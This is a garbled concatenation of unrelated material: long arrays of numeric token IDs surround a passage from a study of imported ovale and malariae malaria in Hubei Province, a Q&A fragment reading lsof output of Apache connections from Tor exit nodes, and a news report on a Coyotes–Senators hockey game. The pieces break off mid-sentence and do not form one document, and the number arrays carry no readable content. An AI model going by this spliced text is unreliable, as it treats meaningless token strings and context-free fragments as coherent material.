15, 14246, 1079, 11, 26105, 15, 285, 475, 49, 15, 19643, 70, 11, 497, 9288, 432, 749, 14, 49713, 7531, 15, 20146, 285, 9069, 1771, 1254, 1311, 23, 1184, 2540, 326, 253, 3626, 3268, 273, 475, 49, 15, 14246, 1079, 11, 26105, 15, 2219, 369, 275, 749, 14, 49713, 7531, 285, 690, 10439, 11553, 17546, 15, 6295, 3417, 273, 475, 49, 15, 14246, 1079, 11, 26105, 15, 403, 2783, 281, 320, 12514, 255, 695, 4768, 616, 25231, 3268, 1254, 1311, 19, 1656, 1723, 13, 475, 49, 15, 19643, 70, 11, 310, 7194, 1119, 275, 749, 14, 49713, 7531, 285, 31438, 11553, 1254, 1311, 24, 1656, 2726, 253, 25060, 3629, 3904, 273, 4292, 2444, 285, 22710, 17195, 281, 19643, 14, 423, 11060, 7531, 13, 19643, 1453, 275, 388, 4338, 74, 18324, 588, 2779, 3464, 271, 1774, 5691, 15, 187, 187, 1552, 1263, 574, 690, 7364, 15, 3973, 13, 253, 5447, 15494, 327, 16864, 1083, 5481, 285, 24473, 812, 45166, 253, 3904, 273, 21117, 19643, 2219, 15, 6347, 13, 21681, 281, 253, 3480, 273, 271, 3242, 3522, 273, 5066, 13, 253, 22667, 2180, 369, 5118, 970, 253, 13024, 12282, 273, 1363, 672, 597, 4895, 281, 4135, 13, 534, 2097, 326, 253, 22667, 2180, 273, 1016, 1083, 908, 275, 253, 1263, 310, 247, 5927, 6642, 28, 253, 3522, 273, 19831, 11653, 15494, 327, 3110, 9610, 13, 534, 310, 778, 320, 2256, 281, 6983, 8492, 285, 778, 3103, 2818, 253, 5783, 6120, 7726, 15, 12245, 13, 253, 1355, 1180, 273, 1363, 3710, 253, 7605, 1612, 281, 921, 3910, 2190, 10332, 342, 1027, 475, 3493, 45049, 1514, 11, 3417, 15, 187, 187, 22807, 1712, 4538, 1012, 94, 187, 15765, 187, 187, 3351, 10750, 19643, 2219, 403, 253, 3625, 5691, 323, 388, 4338, 74, 18324, 275, 17170, 253, 1048, 14, 3945, 4736, 273, 19643, 20408, 15, 380, 1263, 1543, 5183, 326, 253, 9364, 273, 475, 49, 15, 14246, 1079, 11, 26105, 15, 285, 475, 49, 15, 19643, 70, 11, 2219, 2559, 3012, 15, 733, 671, 4860, 253, 1180, 273, 475, 49, 15, 14246, 1079, 11, 26105, 15, 2219, 19486, 645, 326, 273, 475, 49, 15, 25898, 991, 11, 2219, 275, 388, 4338, 74, 18324, 15, 12257, 13, 841, 767, 3417, 497, 954, 2223, 3731, 24491, 390, 9829, 387, 13240, 390, 1698, 14, 5251, 29538, 15, 3308, 13, 5125, 326, 625, 4116, 320, 5087, 281, 13234, 273, 21117, 475, 49, 15, 14246, 1079, 11, 26105, 15, 285, 475, 49, 15, 19643, 70, 11, 2219 ]	misdiagnosed as P. vivax on microscopy. Of the 18 P. malariae cases, 2 were misdiagnosed as P. vivax on microscopy. RDT sensitivity of infections resulting from P. ovale spp. and P. malariae were 70.1% and 38.9%, respectively.Table 3Diagnosis of P. ovale ssp. and P. malariae malaria cases in Hubei Provincial Reference Laboratory for Malaria DiagnosisConfirmed diagnosis by PCRP. ovale spp.P. malariaeMicroscopy result Correct diagnosis8216 Misdiagnosed52 Sensitivity (%)94.388.9RDT result Positive^a^617 Negative^b^2611 Sensitivity (%)70.138.9RDT Rapid diagnostic test^a^ Indicating non-falciparum plasmodial infection^b^ Indicating Plasmodium infection absent Origin of imported P. ovale spp. and P. malariae cases {#Sec11} ---------------------------------------------------------- During 2014--2018, the 87 imported P. ovale spp. cases and 18 imported P. malariae cases were acquired from 24 countries located in Africa, Asia, and Oceania. Overall, 97.7% (85/87) of P. ovale spp. cases and 94.4% (17/18) of P. malariae cases were from Africa, with only two P. ovale spp. cases from Asian countries and one P. malariae case from Oceania (Papua New Guinea). The countries of origin of cases imported from African countries are shown in Fig. [4](#Fig4){ref-type="fig"}.Fig. 4Geographic distribution of aPlasmodium ovale curtisi; bPlasmodium ovale wallikeri; and cPlasmodium malariae originating from sub-Saharan Africa 98.4% (60/61) of P. o. curtisi and 96.2%(25/26) of P. o. wallikeri were from Africa. P. o. curtisi cases were mainly imported from Democratic Republic of Congo (9, 14.8%), Nigeria (7, 11.5%), Equatorial Guinea (6, 9.8%), Angola (5, 8.2%), and Congo (Brazzaville) (5, 8.2%), and one P. o. curtisi case from Turkey. P. o. wallikeri cases were mainly imported from Democratic Republic of Congo (4, 15.4%), Cameroon (4, 15.4%), Nigeria (4, 15.4%), Angola (3, 11.5%), Congo (Brazzaville) (3, 11.5%), and Uganda (3, 11.5%), and one P. o. wallikeri case from Bangladesh. Plasmodium malariae was mainly imported from Angola (3, 16.7%), Congo (Brazzaville) (3, 16. 7%), Cameroon (2, 11.1%), Liberia (2, 11.1%), and Nigeria (2, 11.1%). Discussion {#Sec12} ========== Hubei Province has achieved remarkable success in controlling the local malaria situation; however, the number of imported malaria cases has increased. Although the majority of imported malaria cases were associated with P. falciparum, the number of patients with imported P. ovale spp. and P. malariae significantly increased, especially the number of patients with imported P. ovale spp. was more than that with P. vivax from 2014 to 2018. The increase in the number of imported P. ovale spp. and P. malariae cases presented a new challenge for achieving the long-term goal of malaria elimination \[[@CR21]\]. In this study, there was a significant difference in the latency period of the four Plasmodium species. However, the difference between the two sympatric species of P. ovale spp. was not significant in this study, which is similar to the finding of Cao et al. \[[@CR22]\] and Rojo-Marcos et al. \[[@CR23]\]. In this study, the longest latency periods of P. o. curtisi and P. o.e wallikeri were 733 and 793 days, respectively. The longest latency periods of P. o. curtisi in the study by Nolder et al. \[[@CR15]\] and Zhou et al. \[[@CR24]\] were 1083 and 1265 days, respectively. Long latency periods present considerable difficulties for malaria diagnosis and its appropriate treatment \[[@CR25]\]. The intervals from the onset of illness to diagnosis of P. ovale spp. and P. malariae were longer than those of P. vivax and P. falciparum. Because of the rare occurrence of indigenous P. ovale spp. and P. malariae malaria in Hubei Province, these Plasmodium species have been largely neglected. Moreover, some patients did not visit the hospital immediately because of their mild symptoms. However, delayed diagnosis of these two Plasmodium species will lead to worse clinical outcomes \[[@CR26]\]. In this study, the rates of correct diagnosis of P. ovale spp. and P. malariae malaria cases were 48.3% and 44.4%, respectively, in hospitals or lower-level CDC. The misdiagnosis were driven by two factors, one was the health technicians' lack of knowledge about these two species of malaria \[[@CR27]\], and the other was morphological changes associated with low levels of parasitaemia and use of non-standard medications \[[@CR28]--[@CR31]\]. Therefore, training on using microscopy for initial diagnosis of malaria at hospitals and lower-level CDC should be strengthened. Periodic refresher training has helped maintain microscopy capabilities for accurate detection and diagnosis of Plasmodium parasites at all levels of CDC and hospitals; furthermore, a standard malaria testing procedure should be established at a lower level \[[@CR32]\]. Identification of Plasmodium species is one of the important steps in malaria elimination. Common methods for the diagnosis of malaria include thick and thin blood film microscopy, RDTs, and PCR. The current gold standard for malaria diagnosis remains microscopy. However, this technique needs considerable training and experience. It was difficult to identify P. ovale spp. by only microscopic examination, because the morphology of this species is similar to that of P. vivax \[[@CR29]\]. This study showed that five P. ovale spp. isolates were misidentified as P. vivax in microscopic examination in the provincial reference laboratory. PCR has higher sensitivity than microscopy in diagnosing P. ovale spp. and P. malariae infections \[[@CR28], [@CR33]\] which can be used to validate the laboratory diagnosis of P. ovale spp. and P. malariae infections \[[@CR34]\]. RDTs provide access to accurate malaria diagnosis in many areas \[[@CR35]\], because it is easy to use and require no specific equipment \[[@CR36]\]. In this study, RDT sensitivity of infections resulting from P. ovale spp. was 70.1% which was suboptimal \[[@CR37]\]. Hence, suggested that in hospitals or lower-level CDC, RDTs could be used to be a complementary part to microscopic examination of P. ovale spp. infections. In this study, P. ovale spp. and P. malariae were acquired from sub-Saharan Africa. Collins and Jeffery \[[@CR6]\] observed that the natural distribution of P. ovale spp. cases was in sub-Saharan Africa and some western Pacific islands. Both species of P. ovale spp. are considered to be sympatric throughout their geographical distribution \[[@CR2]\]. However, P. malariae is mainly found in sub-Saharan Africa and southwest Pacific \[[@CR7]\]. With the steadily increasing numbers of individuals working and travelling abroad to malaria-endemic Africa, malaria control in Hubei Province will likely remain an important challenge. This study had some limitations. First, the database relied on passive case detection and inevitably could underestimate the numbers of imported malaria cases. Second, owing to the lack of an exact date of infection, the latency period was calculated using the arrival dates of patients when they returned to China, which means that the latency period of each case used in the study is a minimum estimate; the date of symptom onset relied on patient reporting, which is may be subject to recall bias and may therefore affect the confirmed diagnosis interval. Third, the small number of patients limited the statistical power to show differences among infections with different Plasmodium species. Conclusions {#Sec13} =========== Imported malaria cases are the primary challenge for Hubei Province in achieving the long-term goal of malaria elimination. The study results demonstrated that the incidence of P. ovale spp. and P. malariae cases increased significantly. It also indicated the number of P. ovale spp. cases overtook that of P. vivax cases in Hubei Province. Nevertheless, these two species were most often misidentified or missed at hospitals or low-level CDC. Thus, suggested that more attention be paid to surveillance of imported P. ovale spp. and P. malariae cases
[ 1348, 50272, 17, 85, 17, 50276, 32423, 475, 27, 2413, 313, 23422, 1400, 10, 187, 8418, 19, 608, 30693, 8280, 14, 2203, 50275, 805, 86, 50276, 3123, 87, 23, 50276, 38862, 1438, 50272, 17, 85, 17, 50276, 32423, 25589, 15, 23260, 15, 3953, 15, 3121, 15, 87, 503, 83, 15, 681, 27, 73, 50254, 50254, 50254, 50266, 50274, 11344, 1168, 13473, 14, 19874, 14, 266, 7983, 6081, 14, 740, 15, 46188, 13552, 1974, 15, 3024, 27, 1229, 36002, 313, 24422, 2925, 45, 44024, 10, 187, 8418, 19, 608, 30626, 8280, 14, 2203, 50274, 21, 86, 50276, 3123, 87, 23, 50276, 45316, 1348, 50272, 17, 85, 17, 50276, 32423, 475, 27, 2413, 313, 23422, 1400, 10, 187, 8418, 19, 608, 30626, 8280, 14, 2203, 50275, 805, 86, 50276, 3123, 87, 23, 50276, 38862, 2787, 50272, 17, 85, 17, 50276, 32423, 25589, 15, 23260, 15, 3953, 15, 3121, 15, 87, 503, 83, 15, 681, 27, 73, 50254, 50254, 50254, 50266, 50274, 11344, 1168, 19874, 21, 15, 13473, 14, 18428, 15, 3024, 27, 3208, 25025, 313, 24422, 2925, 45, 44024, 10, 187, 8418, 19, 608, 31358, 8280, 14, 2203, 50274, 21, 86, 50276, 3123, 87, 23, 50276, 45316, 1348, 50272, 17, 85, 17, 50276, 32423, 475, 27, 2413, 313, 23422, 1400, 10, 187, 8418, 19, 608, 31358, 8280, 14, 2203, 50275, 805, 86, 50276, 3123, 87, 23, 50276, 38862, 3593, 50272, 17, 85, 17, 50276, 32423, 25589, 15, 23260, 15, 3953, 15, 3121, 15, 87, 503, 83, 15, 681, 27, 73, 50254, 50254, 50254, 50266, 50274, 11344, 1168, 13473, 14, 19874, 14, 266, 7983, 6081, 14, 740, 15, 46188, 13552, 1974, 15, 3024, 27, 1229, 42763, 313, 24422, 2925, 45, 44024, 10, 187, 8418, 19, 8255, 1525, 8280, 14, 2203, 50274, 21, 86, 50276, 3123, 87, 23, 50276, 45316, 1348, 50272, 17, 85, 17, 50276, 32423, 475, 27, 2413, 313, 23422, 1400, 10, 187, 8418, 19, 8255, 1525, 8280, 14, 2203, 50275, 805, 86, 50276, 3123, 87, 23, 50276, 38862, 3507, 50272, 17, 85, 17, 50276, 32423, 25589, 15, 23260, 15, 3953, 15, 3121, 15, 87, 503, 83, 15, 681, 27, 73, 50254, 50254, 50254, 50266, 50274, 11344, 1168, 13473, 14, 19874, 14, 266, 7983, 6081, 14, 740, 15, 46188, 13552, 1974, 15, 3024, 27, 19042, 2222, 313, 24422, 2925, 45, 44024, 10, 187, 8418, 19, 608, 5388, 8280, 14, 2203, 50274, 21, 86, 50276, 3123, 87, 23, 50276, 45316, 1348, 50272, 17, 85, 17, 50276, 32423, 475, 27, 2413, 313, 23422, 1400, 10, 187, 8418, 19, 608, 5388, 8280, 14, 2203, 50275, 805, 86, 50276, 3123, 87, 23, 50276, 38862, 2759, 50272, 17, 85, 17, 50276, 32423, 25589, 15, 23260, 15, 3953, 15, 3121, 15, 87, 503, 83, 15, 681, 27, 73, 50254, 50254, 50254, 50266, 50274, 11344, 1168, 13473, 14, 19874, 14, 266, 7983, 6081, 14, 740, 15, 46188, 13552, 1974, 15, 3024, 27, 1229, 36679, 313, 24422, 2925, 45, 44024, 10, 187, 8418, 19, 7288, 1731, 8280, 14, 2203, 50274, 21, 86, 50276, 3123, 87, 23, 50276, 45316, 1348, 50272, 17, 85, 17, 50276, 32423, 475, 27, 2413, 313, 23422, 1400, 10, 187, 8418, 19, 7288, 1731, 8280, 14, 2203, 50275, 805, 86, 50276, 3123, 87, 23, 50276, 3357, 12852, 50272, 17, 85, 17, 50276, 32423, 25589, 15, 23260, 15, 3953, 15, 3121, 15, 87, 503, 83, 15, 681, 27, 73, 50254, 50254, 50254, 50266, 50274, 11344, 1168, 13473, 14, 19874, 14, 266, 7983, 6081, 14, 740, 15, 46188, 13552, 1974, 15, 3024, 27, 27893, 2691, 313, 24422, 2925, 45, 44024, 10, 187, 187, 34, 27, 187, 187, 510, 806, 1673, 275, 253, 3453, 273, 634, 298, 601, 71, 3923, 2722, 326, 43449, 19, 310, 253, 773, 10367, 7556, 668, 2086, 11298, 327, 6162, 5096, 15, 14325, 1618, 561, 285, 38724, 323, 10291, 327, 6162, 5096, 313, 1615, 4284, 432, 9825, 558, 352, 2506, 457, 85, 23070, 731, 15, 1422, 6468, 457, 85, 1677, 1199, 4114, 1491, 670, 634, 4771, 9978, 285, 1293, 667, 3634, 13, 253, 298, 601, 71, 3453, 4453, 751, 368, 457, 250, 3365, 3515, 247, 4384, 4771, 285, 11853, 310, 970, 7608, 281, 4684, 281, 352, 15, 309, 11697, 6558, 247, 1180, 273, 4384, 14903, 285, 309, 3839, 1053, 457, 85, 1557, 835, 253, 5268, 310, 12873, 432, 15, 187, 2042, 368, 971, 281, 871, 625, 670, 253, 10291, 432, 253, 7608, 5268, 13, 368, 943, 2451, 253, 14325, 2412, 4367, 15, 1310, 368, 1904, 457, 85, 2686, 3334, 14325, 13, 840, 368, 457, 306, 1943, 3237, 285, 452, 281, 2968, 342, 247, 25047, 4771, 15, 535, 19537, 187, 187, 5990, 8112, 23502, 13, 33570, 15, 428, 21809, 434, 323, 442, 574, 644, 281, 1132, 11792, 17147, 13, 4868, 3791, 18260, 285, 2186, 327, 323, 581, 14, 41881, 14896, 15, 187, 187, 3039, 1110, 581, 14, 41881, 3958, 3053, 281, 564, 253, 643, 1039, 13, 253, 47408, 4787, 497, 275, 7596, 285, 3260, 597, 574, 281, 4993, 352, 3809, 15, 187, 187, 3726, 4571, 626, 452, 5055, 247, 1805, 673, 281, 513, 352, 15, 187, 187, 35, 12376, 285, 896, 9357, 4052, 13, 253, 47408, 4787, 7402, 247, 29642, 273, 884, 4951, 11655, 275, 581, 14, 41881, 3958, 342, 247, 495, 14, 19, 3330, 689, 253, 29539, 42409, 327, 7948, 2360, 275, 616, 2457, 2165, 1078, 253, 512, 14, 7873, 2740, 15, 187, 187, 3, 1147, 434, 11755, 13, 368, 1007, 387, 247, 581, 14, 41881, 2165, 285, 368, 1007, 387, 253, 2626, 2180, 390, 436, 581, 1132, 1060, 987, 387, 253, 990, 326, 2105, 368, 253, 2165, 13, 533, 352, 434, 1663, 247, 27798, 318, 273, 3253, 937, 21809, 13595, 40771, 3166, 266, 753, 15, 346, 42, 1158, 359, 1472, 2970, 326, 15433, 562, 285, 359, 1833, 755, 1805, 449, 187, 187, 49, 1689, 17473, 4546, 697, 7312, 2810, 14, 936, 14, 783, 14, 5410, 2165, 13, 2970, 247, 4736, 432, 29515, 12810, 282, 3563, 275, 253, 806, 2180, 13, 1529, 432, 3166, 266, 3563, 275, 253, 1273, 15, 7754, 303, 657, 13041, 682, 3534, 253, 47408, 4787, 247, 767, 14, 41881, 1421, 337, 27, 1229, 715, 253, 2626, 2180, 13, 533, 29539, 434, 11007, 26298, 10974, 816, 1668, 7253, 1996, 15, 187, 187, 31137, 253, 2045, 884, 3958, 13, 534, 2908, 1264, 5310, 483, 11655, 13, 21809, 6699, 436, 581, 745, 3212, 4736, 466, 10035, 6212, 13, 665, 1160, 1903, 273, 521, 4567, 26866, 275, 253, 2457, 2180, 15, 187, 187, 4125, 13, 342, 247, 2129, 745, 13, 253, 47408, 4787, 476, 20658, 598, 285, 1611, 281, 4677, 562, 247, 1039, 281, 1978, 616, 598, 14, 395, 14, 3487, 2952, 12860, 896, 327, 271, 598, 34259, 15, 187, 187, 3, 35485, 3198, 247, 2740, 937, 8690, 16908, 308, 5265, 3592, 753, 15, 346, 6872, 2469, 767, 2607, 452, 644, 347, 26970, 8855, 347, 309, 1849, 2326, 285, 309, 1849, 644, 247, 1048, 673, 275, 253, 22037, 15, 1422, 812, 2028, 776, 3773, 497, 16332, 562, 23198, 285, 13318, 15, 309, 1869, 1097, 6671, 497, 2819, 751, 597, 3058, 247, 2740, 11608, 449, 187, 187, 510, 42409, 5604, 812, 897, 581, 347, 597, 1481, 1728, 281, 3167, 253, 512, 14, 7873, 2165, 15, 187, 187, 43468, 26629, 574, 644, 327, 247, 4533, 13, 22915, 387, 1878, 247, 1127, 275, 247, 5453, 14, 15352, 1903, 4951, 3971, 3958, 1078, 10305, 281, 28642, 17563, 285, 8742, 9757, 15, 187, 187, 49579, 342, 247, 2159, 1614, 16576, 846, 10305, 577, 14, 18, 281, 253, 20567, 13, 253, 42409, 7019, 9577, 21809, 7342, 342, 581, 273, 616, 1211, 13, 2167, 597, 497, 1620, 2104, 281, 12394, 512, 253, 1039, 896, 15, 187, 187, 24526, 24179, 20897, 11691, 521, 1722, 394, 4736, 275, 253, 1273, 2180, 285, 26298, 36756, 247, 767, 14, 41881, 1421, 281, 581, 342, 521, 3158, 14, 31984, 4736, 275, 253, 2626, 15, 380, 42409, 1869, 597, 574, 253, 2165, 12331, 417, 1048, 846, 326, 13, 533, 247, 4736, 407, 24179, 20897, 369, 27194, 745, 15, 187, 187, 43468, 26629, 4571, 626, 755, 2712, 2469, 6212, 846, 326, 5747, 7418, 1175, 14512, 285, 253, 42409, 564, 715, 253, 512, 14, 7873, 2740, 327, 247, 1264, 14, 13197, 10305, 29642, 15, 187, 187, 3, 1231, 1472, 417, 2509, 2217, 937, 8690, 5171, 5602, 46959, 753, 15, 346, 1231, 452, 281, 1132, 247, 1652, 2372, 12150, 13, 247, 1652, 2372, 38144, 285, 247, 1652, 2372, 1805, 13, 285, 452, 253, 46402, 625, 685, 359, 574, 327, 436, 7408, 449, 187, 187, 6175, 29539, 2210, 715, 253, 2165, 2819, 281, 755, 896, 327, 3540, 1078, 19355, 253, 512, 14, 7873, 2165, 13, 3579, 25856, 7055, 4448, 369, 11525, 323, 247, 1652, 2075, 2135, 1411, 521, 3438, 2285, 15, 187, 187, 510, 2626, 4583, 2619, 273, 253, 5215, 22037, 7482, 2427, 949, 2600, 784, 16685, 342, 253, 47408, 4787, 326, 20578, 715, 253, 2952, 1078, 4720, 15428, 247, 767, 14, 2913, 13, 370, 19, 15, 23, 3041, 2968, 327, 10733, 15, 3307, 15, 7055, 4448, 574, 642, 2792, 275, 2800, 3958, 846, 15428, 253, 3310, 285, 369, 18445, 281, 29539, 327, 7659, 15, 1722, 323, 2872, 17147, 1342, 5119, 416, 1504, 1559, 324, 15, 187, 187, 49, 1689, 17473, 7458, 1128, 783, 1643, 8014, 665, 2692, 598, 1128, 72, 3160, 264, 7055, 4448, 342, 1766, 375, 1046, 673, 344, 14435, 253, 46402, 285, 33357, 329, 1028, 31511, 13, 896, 846, 5816, 1740, 3958, 342, 247, 2406, 14, 2915, 4975, 13, 8231, 521, 3438, 43827, 281, 253, 6749, 342, 247, 9215, 327, 521, 5909, 5333, 13, 4758, 745, 247, 1355, 660, 4638, 15, 187, 187, 23992, 4448, 574, 581, 1175, 14755, 4839, 30040, 407, 6212, 275, 253, 1273, 2180, 323, 521, 760, 5103, 327, 4736, 15, 187, 187, 3, 1147, 7964, 3589, 626, 253, 2165, 359, 3078, 281, 1132, 11608, 937, 7055, 4448, 753, 15, 346, 1231, 574, 690, 14512, 533, 309, 1904, 626, 5347, 907, 327, 253, 581, 326, 1219, 71, 466, 3534, 479, 627, 15, 733, 816, 3589, 626, 776, 2165, 449, 187, 187, 510, 47408, 4787, 574, 247, 2257, 625, 281, 7664, 670, 685, 616, 3438, 43827, 13, 2167, 15, 187, 187, 39204, 949, 247, 2834, 13726, 275, 253, 10130, 285, 247, 2876, 273, 9478, 13, 21809, 574, 3663, 2800, 273, 5093, 13, 1690, 767, 4951, 281, 1527, 247, 2800, 14, 13197, 2860, 383, 395, 326, 35742, 253, 512, 14, 7873, 2740, 15, 187, 187, 510, 47408, 4787, 3597, 281, 7450, 253, 13870, 2393, 1411, 253, 11870, 42409, 13, 6153, 690, 1175, 14512, 13, 285, 29539, 13465, 896, 342, 690, 1175, 4394, 273, 697, 1211, 1996, 275, 253, 2180, 15, 187, 187, 49, 1689, 17473, 7402, 253, 806, 342, 253, 1421, 13, 6701, 281, 12810, 282, 434, 2626, 4736, 273, 253, 2952, 13, 247, 581, 14, 26320, 2822, 253, 1669, 1501, 846, 31419, 18790, 3452, 264, 6426, 2918, 253, 46402, 387, 253, 987, 1501, 285, 5947, 31836, 275, 2914, 15, 187, 187, 510, 1273, 2180, 369, 247, 2257, 751, 253, 806, 27, 21809, 2315, 1520, 2393, 13, 29539, 10974, 13, 47408, 4787, 755, 247, 4736, 3563, 15, 3166, 266, 11691, 352, 13, 16778, 275, 247, 44789, 273, 3905, 11317, 611, 24578, 1479, 375, 5985, 434, 5103, 342, 521, 37931, 1078, 18750, 272, 352, 275, 387, 253, 1669, 1501, 323, 521, 1458, 394, 273, 253, 2952, 15, 187, 187, 1552, 673, 13, 29539, 574, 271, 3662, 13, 14755, 11583, 7253, 1996, 327, 24179, 20897, 434, 581, 14, 26320, 327, 247, 5322, 3997, 432, 3212, 253, 2036, 407, 13104, 28318, 525, 80, 15, 187, 187, 3251, 358, 5356, 275, 7596, 846, 26298, 9577, 657, 13041, 682, 434, 2285, 14, 16378, 3495, 5784, 4736, 273, 253, 2952, 275, 253, 2626, 13, 253, 47408, 4787, 25640, 1066, 281, 3785, 562, 247, 1199, 14, 34498, 3330, 13, 2403, 253, 1735, 2129, 247, 2372, 625, 30357, 15, 187, 187, 3, 1231, 10062, 670, 352, 1078, 253, 2165, 1128, 2520, 310, 2238, 273, 247, 1364, 14, 6481, 2165, 323, 441, 937, 753, 6212, 13, 665, 4136, 1740, 7342, 327, 3127, 13768, 275, 521, 2045, 1265, 15, 346, 1147, 369, 816, 581, 273, 1110, 3958, 835, 281, 1978, 275, 253, 20269, 359, 574, 281, 3330, 436, 581, 13, 594, 352, 369, 247, 1270, 2285, 3434, 432, 4130, 11608, 449, 187, 187, 16927, 27, 21809, 330, 6258, 9456, 18232, 49036, 4895, 846, 5816, 253, 2045, 2165, 342, 271, 5170, 14, 2915, 4975, 15, 3346, 29539, 5339, 745, 1264, 22414, 285, 556, 4136, 581, 4736, 275, 3285, 1612 ]	24 0t0 TCP :http (LISTEN) apache2 5496 www-data 12u IPv6 53080 0t0 TCP 207.246.94.76.vultr.com:h ttp->tor-exit-anonymizer-10.appliedprivacy.net:30559 (ESTABLISHED) apache2 5497 www-data 4u IPv6 52924 0t0 TCP :http (LISTEN) apache2 5497 www-data 12u IPv6 53079 0t0 TCP 207.246.94.76.vultr.com:h ttp->exit4.tor-network.net:56678 (ESTABLISHED) apache2 5498 www-data 4u IPv6 52924 0t0 TCP :http (LISTEN) apache2 5498 www-data 12u IPv6 53081 0t0 TCP 207.246.94.76.vultr.com:h ttp->tor-exit-anonymizer-10.appliedprivacy.net:30572 (ESTABLISHED) apache2 5499 www-data 4u IPv6 52924 0t0 TCP :http (LISTEN) apache2 5499 www-data 12u IPv6 53082 0t0 TCP 207.246.94.76.vultr.com:h ttp->tor-exit-anonymizer-10.appliedprivacy.net:30595 (ESTABLISHED) apache2 5500 www-data 4u IPv6 52924 0t0 TCP :http (LISTEN) apache2 5500 www-data 12u IPv6 53084 0t0 TCP 207.246.94.76.vultr.com:h ttp->tor-exit-anonymizer-10.appliedprivacy.net:30596 (ESTABLISHED) apache2 5526 www-data 4u IPv6 52924 0t0 TCP :http (LISTEN) apache2 5526 www-data 12u IPv6 53109 0t0 TCP 207.246.94.76.vultr.com:h ttp->tor-exit-anonymizer-10.appliedprivacy.net:31386 (ESTABLISHED) A: The first field in the output of your lsof command shows that apache2 is the “malicious” program listening on Port 80. Apache listens and waits for connections on Port 80 (by default from anywhere); it doesn’t initiate them. You haven’t given much background information about your server setup and without any context, the lsof output looks like you’re simply running a web server and somebody is using Tor to connect to it. I personally maintain a number of web servers and I generally don’t care where the client is connecting from. If you want to know more about the connections from the Tor client, you should check the Apache log files. If you didn’t actually install Apache, then you’ve big problems and have to deal with a compromised server. News GLENDALE, Ariz. - Phoenix's forte had been to play steady defence, score opportunistically and hold on for one-goal wins. When those one-goal games started to go the other way, the Coyotes were in trouble and knew they had to fix it fast. They couldn't have picked a better time to do it. Battered and backpedaling, the Coyotes ended a streak of 10 straight losses in one-goal games with a 3-2 win over the Ottawa Senators on Tuesday night in their final game before the all-star break. "It's funny, you look at a one-goal game and you look at the third period or this one play here right at the end that cost you the game, but it's really a culmination of everything," Phoenix captain Shane Doan said. "I think we're getting that figured out and we'll get better." Phoenix played its usual close-to-the-vest game, getting a goal from Gilbert Brule late in the first period, another from Doan late in the second. Radim Vrbata gave the Coyotes a two-goal lead 1:30 into the third period, but Ottawa's Chris Neil responded just 16 seconds later. Unlike the previous 10 games, which included three shootout losses, Phoenix finished this one off behind goalie Mike Smith, who made 11 of his 32 saves in the final period. Now, with a week off, the Coyotes can heal up and try to figure out a way to keep their up-and-down season headed back on an upswing. "Everybody needs a break," coach Dave Tippett said. "These past two months have been as grueling as I've seen and I've been a long time in the NHL. You could tell our players were worn out mentally and physically. I thought both teams were looking like they needed a break tonight." The Senators certainly could use one as they head home to host the all-star game. Ottawa had been on a roll, earning at least a point in a club-record 11 straight road games before losing to Anaheim and Los Angeles. Playing with a short turnaround after losing 4-1 to the Kings, the Senators twice answered Phoenix goals with one of their own, though they were never able to climb all the way back. Daniel Alfredsson scored his 17th goal in the second period and Neil trimmed a two-goal lead to one with his quick-answer goal in the third. The Senators thought they had the game tied not long after that, but a goal by Alfredsson was waved off. Ottawa couldn't get anything past Smith after that despite numerous good chances and the Senators go into the all-star break on a three-game losing streak. "We're not doing enough," coach Paul MacLean said. "We have to play a little bit harder, a little bit smarter and a little bit better, and have the puck more than we had on this trip." While Ottawa came into the game looking to get back on track before hosting the all-star game, forward Kyle Turris was hoping for a little payback against his former team. The third overall pick of the 2007 NHL draft went through contentious negotiations with the Coyotes that lasted into the season before finally signing a two-year, $2.6 million deal on Nov. 22. Turris had no points in six games after signing the contract and was dealt to Ottawa on Dec. 17 for young defenceman David Rundblad. Phoenix fans—the few thousand who showed up—greeted Turris with boos every time he touched the puck and Adrian Aucoin, back after missing four games with a lower-body injury, dropped his former teammate to the ice with a shoulder on his opening shift, setting off a small scrum. Turris had one good scoring chance stuffed by Smith in the second period for his only shot on goal. "It definitely wasn't the game we wanted to play tonight," Turris said. "We had some chances but I didn't capitalize on the one that Alfie gave me there. It just wasn't our game." The Coyotes had a lot more to worry about than their former teammate, though. Going through a difficult stretch in the schedule and a string of injuries, Phoenix had lost six of seven, including two straight to open a six-game homestand that spans the all-star break. The Coyotes tried to push the pace early against the tired Senators, creating some good chances, and Ottawa fought back with some good ones of its own later in the period. Phoenix ended the first with the lead, thanks to Brule's third goal of the season, a one-timer near the left post after Mikkel Boedker held the puck at the right post and circled in front. The second period was a lot like the first: Phoenix pressured early, Ottawa responded, Coyotes get a goal late. Doan scored it, gathering in a rebound of Lauri Korpikoski's shot with his skate before punching it in at the left post for his 15th of the season. This time, Ottawa had an answer, scoring 91 seconds later on Alfredsson's one-timer on a nice feed from behind the net by Nick Foligno. Seemingly in trouble after Neil answered Vrbata's team-leading 23rd goal of the season in the third, the Coyotes dug down to pull out a much-needed win, making the next week a bit more enjoyable. "We talked about it before the game—this is kind of a must-win game for us," said Smith, who allowed four goals on 21 shots in his previous start. "It was just one of those games where to keep in the hunt we had to win this one, so it was a great team effort from everyone tonight." Notes: Phoenix C Daymond Langkow returned after missing the previous game with an upper-body injury.... Ottawa killed off three penalties and has allowed one goal in 29 power
[ 367, 552, 4123, 9372, 4852, 327, 521, 9881, 15, 500, 3938, 254, 8449, 35526, 35009, 33317, 275, 12143, 443, 2672, 85, 434, 596, 25431, 19670, 3275, 273, 12349, 309, 6285, 411, 7391, 15, 187, 187, 510, 11579, 900, 14, 41, 666, 15, 22343, 864, 30735, 348, 666, 2887, 1903, 15, 380, 43044, 22157, 310, 4907, 846, 26737, 11197, 10213, 11579, 900, 13, 253, 15217, 273, 38343, 434, 806, 9732, 434, 5864, 15, 7243, 247, 4804, 1127, 323, 8083, 1346, 285, 10846, 13, 3063, 253, 3652, 9910, 3055, 32447, 15, 1623, 253, 33619, 13, 309, 11017, 253, 6264, 6007, 4697, 27, 500, 5650, 2596, 14374, 43737, 1889, 312, 561, 19449, 1257, 250, 262, 1947, 15, 3915, 45429, 41831, 2354, 3367, 9558, 4323, 15, 21208, 293, 500, 15, 427, 311, 442, 5689, 2775, 6901, 1539, 56, 29526, 44, 1539, 59, 1843, 42, 313, 52, 3422, 2081, 481, 7650, 833, 13, 309, 2940, 949, 253, 4222, 1106, 285, 715, 253, 33924, 285, 1007, 949, 253, 8323, 715, 253, 14464, 4023, 4461, 15, 12349, 352, 275, 1060, 32, 1621, 7746, 15, 309, 1091, 281, 253, 3652, 2914, 13, 835, 309, 1089, 253, 23861, 27, 187, 187, 1552, 3652, 369, 4232, 275, 34283, 323, 